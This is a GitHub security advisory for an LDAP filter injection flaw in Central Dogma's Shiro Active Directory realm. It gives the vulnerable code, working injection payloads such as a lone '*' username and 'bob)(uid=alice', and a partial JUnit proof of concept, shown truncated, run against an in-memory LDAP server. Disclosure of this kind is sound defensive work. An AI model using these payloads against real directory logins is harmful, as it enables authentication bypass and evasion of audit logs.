GitHub Advisoryadvisory · Maven
GHSA-98q5-5qh2-7w75 Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion
MEDIUM
Official page ↗
- Aliases
- CVE-2026-11748
- Ecosystem
- Maven
- Packages
- com.linecorp.centraldogma:centraldogma-server-auth-shiro
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N
- Weaknesses
- CWE-90
- Reviewed
- 2026-09-11
Affected packages
• Maven com.linecorp.centraldogma:centraldogma-server-auth-shiro: < 0.84.0 → fixed in 0.84.0
Description
Vulnerability
`SearchFirstActiveDirectoryRealm.findUserDn()` substitutes the user-supplied username from the login form into an LDAP search filter template (default `cn={0}`) without escaping RFC 4515 filter metacharacters (`*`, `(`, `)`, `\`, NUL). Combined with `SearchControls.setCountLimit(1)` on the same call site, this allows three distinct attack primitives:
1. Authentication confusion — typing username `*` causes the realm to construct filter `cn=*`, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password.
2. Audit log evasion — payload `bob)(uid=alice` is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).
3. Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.
A repo-wide search for any LDAP escape helper (`escapeLdap`, `encodeFilter`, `escapeFilter`, `ldapEscape`) returns zero hits — the defense is not just missing, it was never added.
> Applicability note: This realm is opt-in. The shipped default LDAP example (`dist/src/conf/shiro.example.ldap.ini`) uses Shiro's `DefaultLdapRealm` with `userDnTemplate` and is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in via `sAMAccountName` and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.
---
Evidence
File: `server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java`
Lines 148–176 on branch `main` @ commit `d64a5151`:
```java
@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
throws NamingException {
LdapContext ctx = null;
try {
ctx = ldapContextFactory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1); // line 156 — returns FIRST match only
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
ctrl.setTimeLimit(searchTimeoutMillis);
final String filter =
searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
.replaceAll(username) // line 162 — RAW SUBSTITUTION
: username; // line 163
final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
...
```
`USERNAME_PLACEHOLDER = Pattern.compile("\\{0}")`. Default `searchFilter = "cn={0}"`.
Data flow from HTTP login to vulnerable substitution
| Step | Component |
|------|-----------|
| HTTP login form | `POST /api/v1/login` form field `username` |
| `ShiroLoginService.usernamePassword()` (lines 198–223) | applies `loginNameNormalizer` (Unicode lowercase only — NOT LDAP escape) |
| `Subject.login(new UsernamePasswordToken(username, password))` | Shiro hand-off |
| `ActiveDirectoryRealm.doGetAuthenticationInfo` (Shiro core) | calls `queryForAuthenticationInfo0` |
| `SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())` | username flows in verbatim |
Repository-wide escape helper grep
| Search term | Hits |
|-------------|------|
| `escapeLdap` | 0 |
| `encodeFilter` | 0 |
| `escapeFilter` | 0 |
| `ldapEscape` | 0 |
---
PoC
Self-contained JUnit 5 test using UnboundID `InMemoryDirectoryServer` (in-process, no external LDAP required). Drop into `server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java` and add `com.unboundid:unboundid-ldapsdk:7.0.0` as a test dependency.
> The PoC works by subclassing the realm and overriding `findUserDn()` to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.
```java
/*
• Copyright 2026 LINE Corporation
*
• SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
*
• This JUnit class demonstrates the LDAP filter injection in
• SearchFirstActiveDirectoryRealm. Drop into
• server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
• Adds the UnboundID LDAP SDK as a test dep.
*/
package com.linecorp.centraldogma.server.auth.shiro.realm;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;
import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {
private static InMemoryDirectoryServer ds;
private static int port;
@BeforeAll
static void startLdap() throws Exception {
final InMemoryDirectoryServerConfig cfg =
new InMemoryDirectoryServerConfig("dc=example,dc=com");
cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
"default", null, 0, null));
ds = new InMemoryDirectoryServer(cfg);
ds.startListening();
port = ds.getListenPort();
// Directory:
// cn=admin (listed first → picked by setCountLimit(1) under wildcard)
// cn=alice
ds.add(new Entry(
"cn=admin,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: admin", "sn: admin",
"userPassword: adminpw"));
ds.add(new Entry(
"cn=alice,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: alice", "sn: doe",
"userPassword: alicepw"));
}
@AfterAll
static void stopLdap() {
if (ds != null) ds.shutDown(true);
}
/** Subclass that records the filter passed to ctx.search(). */
private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
volatile String capturedFilter;
RecordingRealm() {
setUrl("ldap://localhost:" + port);
setSystemUsername("cn=admin,dc=example,dc=com");
setSystemPassword("adminpw");
setSearchBase("dc=example,dc=com");
setSearchFilter("cn={0}");
}
@Override
protected String findUserDn(LdapContextFactory factory, String username)
throws javax.naming.NamingException {
LdapContext ctx = null;
try {
ctx = factory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1);
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
final java.util.regex.Pattern PH =
java.util.regex.Pattern.compile("\\{0}");
final String filter = PH.matcher("cn={0}").replaceAll(username);
capturedFilter = filter;
final javax.naming.NamingEnumeration r =
ctx.search("dc=example,dc=com", filter, ctrl);
…
Related
Alias · CVE (1)
- CVE-2026-11748 A vulnerability has been identified in centraldogma-server-auth-shiro versions prior to 0.84.0, where the SearchFirstActiveDirectoryRealm… vulnerability
Weakness · CWE (1)
- CWE-90 Improper Neutralization of Special Elements used in an LDAP Query weakness